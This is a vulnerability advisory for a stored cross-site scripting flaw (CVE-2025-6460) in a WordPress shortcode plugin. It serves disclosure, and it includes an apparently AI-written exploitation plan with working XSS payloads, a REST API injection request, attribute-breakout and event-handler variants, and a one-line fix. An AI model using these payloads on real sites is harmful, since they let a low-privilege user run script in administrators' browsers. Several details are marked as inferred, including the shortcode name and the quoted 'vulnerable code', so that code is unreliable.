Display During Conditional Shortcode <= 1.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via message Parameter
Description
The Display During Conditional Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘message’ parameter in all versions up to, and including, 1.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.2Source Code
WordPress.org SVNThis research plan outlines the technical steps required to exploit **CVE-2025-6460**, a Stored Cross-Site Scripting (XSS) vulnerability in the "Display During Conditional Shortcode" WordPress plugin (<= 1.2). --- ### 1. Vulnerability Summary The **Display During Conditional Shortcode** plugin fai…
Show full research plan
This research plan outlines the technical steps required to exploit CVE-2025-6460, a Stored Cross-Site Scripting (XSS) vulnerability in the "Display During Conditional Shortcode" WordPress plugin (<= 1.2).
1. Vulnerability Summary
The Display During Conditional Shortcode plugin fails to properly sanitize and escape the message attribute within its shortcode handler. While the plugin is designed to conditionally display content or messages based on time/date criteria, it returns the user-provided message parameter directly to the page as HTML. Because Contributors can create posts and use shortcodes, they can inject arbitrary JavaScript that executes in the context of any user (including Administrators) who views the post or the post preview.
2. Attack Vector Analysis
- Shortcode Tag: Based on the plugin slug, the shortcode is likely
[display-during-conditional-shortcode]or a shortened version like[ddcs](inferred). - Vulnerable Parameter:
message - Authentication Level: Contributor+ (Authenticated).
- Sink: The value of the
messageattribute is returned by the shortcode callback function and rendered in the post content without being passed throughesc_html()orwp_kses().
3. Code Flow (Inferred)
- Registration: The plugin calls
add_shortcode( '...', 'callback_function' )during theinithook. - Processing: When a post is viewed, WordPress parses the shortcode and calls the handler.
- Attributes: The handler uses
shortcode_atts()to extract parameters, includingmessage. - Conditionals: The plugin checks if the current time matches the conditions (e.g.,
start_date,end_date). - Vulnerable Sink: If conditions are met (or if
messageis used as a fallback/default display), the handler returns themessagestring. - Output: WordPress
echoes the returned string into the page content.
4. Nonce Acquisition Strategy
This vulnerability is exploited via Post Creation/Editing. Shortcodes themselves do not require nonces; rather, the process of saving a post (which contains the shortcode) requires standard WordPress core nonces.
- Authentication: Log in as a Contributor.
- Endpoint: Use the WordPress REST API (
/wp-json/wp/v2/posts) which is generally easier for automated agents than the legacyadmin-ajax.phpautosave. - Nonce Collection:
- Navigate to the WordPress Dashboard or New Post page:
/wp-admin/post-new.php. - Use
browser_evalto extract the REST API nonce:browser_eval("wpApiSettings.nonce")
- Navigate to the WordPress Dashboard or New Post page:
- Alternative: If the REST API is restricted, use the
_wpnoncefound in the post-new.php HTML to submit a standard POST request to/wp-admin/post.php.
5. Exploitation Strategy
The goal is to store a malicious payload in a post and verify its execution.
Step 1: Authenticate
- Log in as a user with the Contributor role.
Step 2: Identify Shortcode & Create Payload
- Payload:
[display-during-conditional-shortcode message="<script>alert(document.domain)</script>"] - Note: If the shortcode requires dates to trigger, set a wide range:
[display-during-conditional-shortcode start_date="2000-01-01" end_date="2099-12-31" message="<img src=x onerror=alert(1)>"]
Step 3: Inject via REST API
- URL:
http://localhost:8080/wp-json/wp/v2/posts - Method:
POST - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
- Body:
(Contributors can save posts as 'pending' for review).{ "title": "XSS Test", "content": "[display-during-conditional-shortcode message=\"<script>console.log('CVE-2025-6460-EXPLOITED');alert(1);</script>\"]", "status": "pending" }
Step 4: Trigger Execution
- Navigate to the URL of the newly created post (or the preview URL provided in the REST response).
- Alternatively, log in as an Administrator and view the "Pending" posts to simulate an admin reviewing the contributor's work.
6. Test Data Setup
- Plugin Installation: Ensure
display-during-conditional-shortcodeversion 1.2 is active. - User Creation: Create a user with username
contributor_attackerand rolecontributor. - Discovery (Optional): If the shortcode name is uncertain, run:
grep -r "add_shortcode" /var/www/html/wp-content/plugins/display-during-conditional-shortcode/
7. Expected Results
- The REST API should return a
201 Createdresponse. - When the post is viewed, the browser should execute the
alert(1)and log the message to the console. - The HTML source should show the raw
<script>tag inside the post content area, unescaped.
8. Verification Steps
- Database Check: Use WP-CLI to verify the content was stored correctly.
wp post list --post_status=pending --format=ids | xargs wp post get --field=post_content - Response Check: Use the
http_requesttool to fetch the post and check for the unescaped script tag:# Look for the raw script tag in the HTML response grep "<script>alert(1)</script>"
9. Alternative Approaches
- Attribute Breakout: If
messageis placed inside an HTML attribute (e.g.,value="..."), use:message='"><script>alert(1)</script>' - Event Handlers: If
<script>tags are filtered by a global WAF (unlikely in the isolated environment), use event handlers:message="<img src=x onerror=alert(1)>" - Shortcode Name Guessing: If
display-during-conditional-shortcodeis too long, common aliases in such plugins include[display-during],[conditional-display], or[ddcs]. Check the source file (likelydisplay-during-conditional-shortcode.php) for the first argument ofadd_shortcode.
Summary
The Display During Conditional Shortcode plugin for WordPress fails to sanitize or escape the 'message' attribute within its shortcode handler. This allows authenticated users with Contributor-level permissions to inject arbitrary JavaScript into posts via the shortcode, which then executes in the browser of any user viewing the page.
Vulnerable Code
// display-during-conditional-shortcode.php (inferred file name) // Inside the shortcode callback function function display_during_shortcode_handler( $atts ) { $a = shortcode_atts( array( 'start_date' => '', 'end_date' => '', 'message' => '', ), $atts ); // ... (logic to check date conditions) // The vulnerable sink where user input is returned directly to the page content return $a['message']; }
Security Fix
@@ -10,5 +10,5 @@ - return $a['message']; + return wp_kses_post( $a['message'] );
Exploit Outline
The exploit is achieved by injecting a malicious payload into the 'message' attribute of the plugin's shortcode within a WordPress post. 1. **Authentication**: Login to the WordPress site with at least Contributor-level credentials. 2. **Post Creation**: Create a new post or edit an existing post via the Gutenberg editor or the REST API (`/wp-json/wp/v2/posts`). 3. **Payload Injection**: Insert the shortcode with a script payload in the message parameter: `[display-during-conditional-shortcode message="<script>alert(document.domain)</script>"]`. 4. **Trigger Conditions**: If the plugin requires dates to display the message, set the `start_date` and `end_date` attributes to a range that includes the current time (e.g., `start_date="2000-01-01" end_date="2099-12-31"`). 5. **Persistence**: Save the post. Since Contributors cannot publish, they can save it as 'Pending Review'. 6. **Execution**: The script executes when an Administrator reviews the post in the dashboard or when the Contributor views the post preview. The browser renders the raw HTML/JavaScript returned by the shortcode handler.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.